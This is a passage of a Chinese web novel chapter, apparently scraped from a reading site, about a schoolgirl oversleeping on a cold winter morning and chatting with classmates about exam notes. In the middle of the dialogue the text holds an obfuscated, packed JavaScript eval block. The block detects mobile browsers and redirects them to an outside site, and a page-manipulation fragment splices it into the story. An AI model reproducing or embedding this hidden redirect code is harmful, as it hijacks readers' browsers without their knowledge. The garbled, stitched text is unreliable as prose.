日子一天天过,淮宁短暂的秋天离去,冬天来了。 虽然没有下雪,但气温一天天降低,尤其日出的晚日落的早,不管对工人还是学生,起床都是个考验。 徐建国已经顾不上每天在家做早饭了,一起床就得急匆匆赶去厂里。 孟娇娇为了省公交钱,都是和徐建国同步。 于是四个孩子的早饭钱,他们每天都会摆桌子上。 每人一块钱,能买一个馒头,一个肉包,再加一个水煮蛋。 只是陆淼几个,除了徐清澜早起跑步不拖延,其余三个都是睡得昏天暗地。 这天,徐清澜擦干身体换了衣服,见没一个起床的,不得不去叫人。 “起来了小远,上学要迟到了。” “哥,几点了?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486774|202056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陆远声音黏糊,意识都是飘的。 徐清澜:“六点半了。” “这么晚了?我这就起。”陆远一下子惊醒。 徐清澜又去敲门,站在门口喊两个妹妹。 结果来开门的竟然是杨晶晶。 “你姐呢?”徐清澜问。 杨晶晶揉着眼睛,手指了指,“还在睡。” 徐清澜瞥了眼,昏暗的房间里,下铺位置一团被子包裹,陆淼睡得跟蚕蛹似的。 “陆淼,起床了,你们早读是七点吧,再不起要迟到了。” “唔……” 陆淼终于舍得探出脑袋。 然后在枕头边摸了摸,找到自己的手表。 眯着眼,好几次对焦,终于看清楚。 “才六点二十五,徐清澜你有病啊!”谎报军情,说什么六点半。 “起床算你十分钟,吃早饭十分钟,走到学校十分钟,时间刚刚好。” 多出来的五分钟,是为了应付突发情况的。 徐清澜一贯喜欢安排周全,留有余地。 但是陆淼没反应,她现在困得要死,只想再眯一会儿。 哪怕再多个五分钟都好。 “我不吃了,你别吵,我再睡会儿。” 徐清澜喊了两声,没办法,只能催促弟弟妹妹赶紧洗漱。 六点四十,徐清澜再次喊人,陆淼终于慢悠悠坐起来。 “你带他们去买早饭,我自己走。” “那你快点。” 话说完,徐清澜领着两个小的赶紧出门。 陆淼迷迷糊糊穿衣洗脸,最后在小区门口早餐店买了三个包子一袋豆浆,拎着就往学校跑。 到教室时,早读铃声正好响起。 几乎同时,语文老师走进教室。 陆淼忍了又忍,把早饭往抽屉里一塞,拿出语文书开始早读。 好不容易熬到早读结束,陆淼拿出包子就啃。 豆浆更是一口气喝完。 “淼姐,你早饭没吃啊?” 徐泽半趴着,也在吃东西,不过是棒棒糖。 陆淼咽下后才说:“天太冷了,起不来。好烦,怎么还不放寒假。” 张佳美:“元旦都没到呢,叶老师说二月才期末考,今年过年晚,除夕得二月十八号。” 陆淼内心忧伤。 淮宁市虽然是青省省会,经济发达,但地理位置着实尴尬。 没有南方的温暖,却有一样居高不下的湿度,导致冬天又湿又冷。 但同时,因为不算北方,家家户户没有炕。 于是全靠一身正气硬抗。 陆淼前世是北方人,孤儿院虽吃住一般,但冬天有炕啊,室内是温暖的。 结果现在? 已经是第十三个年头,感受冬天的魔法攻击了。 “又下雨了,天天下毛毛雨,湿哒哒的,睡觉被子都是潮的。”陆淼吐槽。 张佳美点头,“可不是,我妈冬天校服都没敢洗,怕干不了。对了陆淼,元旦去哪玩,要不一起去少年宫?” 陆淼吃完最后一口包子,摇头,“没兴趣,我元旦几天,要把你们的期末笔记整理出来。” “啊?” “啊什么啊,过年了姐妹,你期末要是考砸了,有你好果子吃。” 张佳美和徐泽对视一眼,一起抱拳。 “感谢淼姐。” “淼姐义气。” 陆淼摆摆手,“我准备要个随身听,你们最近别给我送吃的喝的,等期末考试结束,最后算总账。”